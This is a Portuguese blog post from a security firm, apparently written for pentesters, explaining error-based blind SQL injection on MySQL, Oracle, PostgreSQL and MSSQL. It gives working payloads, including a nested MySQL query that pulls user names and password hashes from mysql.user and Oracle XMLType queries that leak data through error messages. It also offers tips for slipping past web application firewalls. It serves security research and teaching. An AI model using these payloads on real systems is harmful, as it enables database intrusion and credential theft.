Sobre a Conviso IT Security


Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

quinta-feira, 2 de setembro de 2010

O processo de segurança em desenvolvimento, que não é ISO 15.408

Colocamos em nossa área de recursos, a apresentação feita durante o ISSA Day patrocinado pela Conviso na última 3a feira. Veja porque entendemos que existe uma grande confusão entre desenvolvimento seguro e a adoção da ISO 15.408.

terça-feira, 31 de agosto de 2010

Velhas falhas, novas técnicas: Error Based SQL Injection

Este artigo também está disponível para leitura on-line ou download em formato PDF.

Por Ulisses Castro | Conviso Security Labs

Todos que já buscaram saber como funcionam os ataques de SQL Injection sabem que é uma técnica antiga, porém sempre é bom ver novas ideias surgindo que acabam servindo para ampliar as possibilidades. Quero compartilhar aqui algumas técnicas não convencionais de extração de dados que normalmente são utilizadas por "seres humanos", mas porque dizer assim?

Por mais acostumado a automatizar tudo utilizando as melhores e mais variadas ferramentas para pentest, você não pode esquecer que em algumas das muitas situações encontradas durante o processo, é manualmente e com aquele pensamento "fora da caixa" que vai conseguir um resultado inesperado e diferenciado de qualquer outra abordagem similar no mercado.

Por isso venho aqui compartilhar uma técnica semelhante a utilizada no MS-SQL Server que é bem conhecida para quem tem experiência em ataques neste tipo de banco de dados, entretanto pouco conhecida e utilizada em outros, em específico MySQL, Oracle, PostgreSQL e SyBase que é o Error Based Blind SQL Injection, nada mais do que a extração de dados baseada em erro.

Ferramentas fechadas de renome e também aquelas que tem seu código fonte aberto não abordam tal técnica, perdendo uma grande gama de possibilidades e acabam não suprindo um gap que nós pentesters encontramos. Apesar de não abordar neste artigo especificamente como utilizá-la em conjunto com outras técnicas para bypass em Web Application Firewalls (WAFs), deixo aqui algumas ideias que passam batido em muitos WAFs como HPP em conjunto com SQL Injection e existem até aqueles que deixam passar SQL Injection com erros boleanos pois na assinatura só conseguem se defender quando encontrarm o famoso UNION na URL, fica aqui um gancho para uma próxima pesquisa.

Introdução


Partindo do princípio que o leitor sabe do que se trata um SQL Injection, vamos deixar claro as seguintes técnicas de maneira resumida:

  • Union Inband SQL Injection: Técnica onde ao injetar códigos SQL através de uma aplicação, buscamos utilizar a função UNION em conjunto com operadores boleanos para imprimir os dados solicitados na própria página da aplicação.

  • Blind SQL Injection: Diversas formas diferentes, basicamente utilizando comparações boleanas em conjunto com funções de string do banco de dados, forçamos um verdadeiro ou falso na aplicação montando corretamente ou não a página.

  • Error Based Blind SQL Injection: Este tipo ataque, o qual vou abordar neste artigo, é exatamente o tipo que é pouco abordado em ferramentas, onde muitas vezes não conseguimos trazer os dados utilizando o UNION, mas sim forçar que algum erro seja impresso na página.


Sendo assim existem algumas técnicas para extrair os dados destas mensagens. Importante frisar que as demonstradas utilizando este tipo de ataque podem facilmente ser adaptadas para o Blind SQL Injection e também o conhecido Time Based SQL Injection, que se baseia no tempo em que é retornada determinada consulta sem enxergar absolutamente nada na interface da aplicação.

Error Based Blind SQL Injection, como funciona?


MySQL


Vamos ver como poderíamos forçar um erro boleano no MySQL e extrair dados do mesmo? O pesquisador Dmitry Evteev, apresentou uma técnica muito interessante utilizando a função ExtractValue() do mysql versão 5.1 ou superior para demonstrar como extrair dados. No console do MySQL podemos ver o que ocorre ao forçar um erro utilizando a função apontada, repare que não é utilizado UNION, conforme apresentado na imagem abaixo.



Esta abordagem é excelente, porém só conseguimos extrair os dados em versões 5.1 ou mais recentes, a quantidade de dados extraída é limitada a 31 bytes e ainda alguns casos dependemos de um UNION o que é péssimo frente a defesas como WAFs. Abaixo, um exemplo demonstrando a limitação dos 31 bytes:



Para as limitações citadas existem diversas formas de amenizar estas dificuldades, primeiro é preciso eliminar a dependência de versão. Abaixo um insight feito por Qwazar que demonstra como é possível realizar esta técnica aplicada para versões do MySQL 4, 5.0, 5.1 e superiores. Tal abordagem além de mitigar a limitação da versão, amplia a quantidade de bytes extraídos passando de 31 para 64 bytes e mantém a mesma lógica demonstrada acima:



Porém nos traz mais uma desvantagem, neste caso devido a função rand(), não existe 100% de chance de retorno, ou seja, as vezes o resultado pode vir e as vezes não. Isso é péssimo, principalmente em casos onde escrevemos um script para automatizar mas como sempre existe uma solução, abaixo montei uma versão sem utilizar UNION e mantendo 99% de retorno do resultado. Não sou DBA e nem mesmo ultra expert em SQL, assim acredito que alguém com mais experiência possa ajudar a montar um consulta um pouco menor, mas a syntax ficou assim (seguindo o mesmo exemplo acima):
select '1 ' and if(row(0,0)> (select + count(*), concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a, floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row (0,0)> (select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*), concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a, floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,(select 1 and 1=1))))))))));

Veja que o resultado apresentado na imagem abaixo não vem truncado em 31 bytes e conseguimos ver a hash completamente, pois conseguimos trazer 64 bytes. Essa talvez não seja nem de perto a melhor solução e seria preciso estudar um pouco mais algumas formas de melhorar os resultados.



Com a utilização desta técnica, em conjunto com outras funções específicas do MySQL, é possível ampliar ainda mais extração de dados. Utilizando a função compress() com a biblioteca zlib podemos compactar o resultado, conforme apresentado abaixo. Com isso, é possível diminuir o tamanho do resultado, o que nos testes que realizei chegaram a 50% de taxa na compressão. Porém, a desvantagem é que não seria possível utilizar técnica de Verdadeiro/Falso para extrair caractere por caractere, pois o tipo de dado de retorno impede que isso aconteça.



Porém a solução é simples, com a função hex() conseguimos transformar todo o resultado em hexadecimal, e com esta saída não só podemos transportar qualquer tipo de dados como ainda facilita a comparação Verdadeiro/Falso em casos de Blind SQL Injection, e pode preparar a consulta para trazer um "tira" única em hexadecimal de todos os dados solicitados independente do tamanho.



A única desvantagem perceptível é que o processamento do banco de dados será elevado em caso de automatização, mas isso pode ser ajustado através de delays e timers. Na prática para extrair os dados, seria necessário "caminhar" pela tira em hexadecimal, extraindo o resultado de 64 em 64 bytes ou 32 em 32 bytes dependento da técnica, utilizando funções específicas para lidar com strings. Na prática ficaria como na imagem abaixo:



E para potencializar tudo isto seria possível ainda utilizar "sub-querys" e trazer muitos dados com pouquíssimos "hits" no Servidor Web, técnica que demonstrei no OWASP AppSec Brasil do ano passado. Porém nem todas as empresas utilizam MySQL e é preciso estar preparado para encontrar os mais diversos tipos pela frente. Acima demonstrei como é feito com MySQL, porém cada um possui sua limitação e também vantagens, o que nos traz novas possibilidades a cada abordagem.

Aplicação em outras bases


Abaixo algumas idéias menos elaboradas do que esta feita no MySQL, porém mostrando a pontinha do iceberg e um caminho para aplicar a mesma técnica em diferentes cenários.

MSSQL Server / Sybase


Não é nada novo, a maioria das técnicas de SQL Injection demonstradas em diversos forums, how-tos, listas de discussão, demonstram esta técnica que força a conversão no tipo de dado para demonstrar o erro, no caso do MSSQL é possível trazer aproximadamente 1024 bytes e no Sybase a técnica é a mesma.


PostreSQL


Semelhante ao MSSQL/Sybase, porém utilizando a função CAST():



E seguindo a mesma linha de raciocínio aplicada no MySQL:


Oracle


Demonstrando esta técnica utilizando Oracle 9.0 ou superior, é possível extrair até 214 bytes de uma mensagem de erro no Oracle usando a função XMLType() em conjunto com outras para tratamento de string, seguindo lógica semelhante a demonstrada com o MySQL, transforma a consulta em hexadecimal, usa substr() para cortar a "tira" e trazer os resultados em partes. E ainda podemos utilizar um truque para trazer versão em uma única linha, isso porque o Oracle não possui offset ou limit:
SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1;



Usar XMLType() para mostrar a versão na saída de erro, para isto foi necessário utilizar a função REPLACE() e substituir os espaços por "_"(underline). Repare que a todo momento utilizo a função CHR() visando evitar qualquer problema com caracteres de "'"(aspas simples).
SELECT XMLTYPE(CHR(60)||CHR(58)||(SELECT REPLACE((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1),CHR(32),CHR(95))FROM dual)||CHR(62))FROM dual;



Abaixo uma versão mais apurada para burlar os problemas de tipos de dados, assim como replicar técnica semelhante à aplicada ao MySQL, utilizando conversão para hexa e removendo a função REPLACE() não precisamos dela já que estamos convertendo para hexadecimal.
SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual;



E finalmente a versão para ser utilizada em um Error Based Blind SQL Injection utilizando operador lógico simulando um ataque.
SELECT 1 FROM dual WHERE 1=1 AND(1)=(SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual);



Existem diferentes maneiras de se chegar ao mesmo objetivo, com um conhecimento maior em determinado banco de dados e mais pesquisas, com certeza é possível chegar a um resultado mais apurado, lembrando que em todos os casos sempre pensei em não utilizar o UNION para tentar evitar um possível match de assinatura com WAFs, assim como a utilização de função para representar caracteres ascii na consulta e evitar enviá-los através de URL.

Conclusão


SQL Injection é uma técnica que por mais antiga que seja a cada dia evolui, seja com lançamento de novas versões com novas funções, ou fazendo uma releitura de técnicas já conhecidas e aprimorando sempre é possível demonstrar algo novo.

E como sou um viciado convicto em Python nada melhor do que escrever scripts em python usando threads somado a técnicas novas, é sempre diversão garantida. Abaixo o video demonstrando na prática um script que aplica a técnica acima, atacando um banco de dados MySQL.



Em um futuro próximo a Conviso IT Security estará disponibilizando em formato Open Source algumas ferramentas criadas em laboratório, fique de olho! ;)

Referências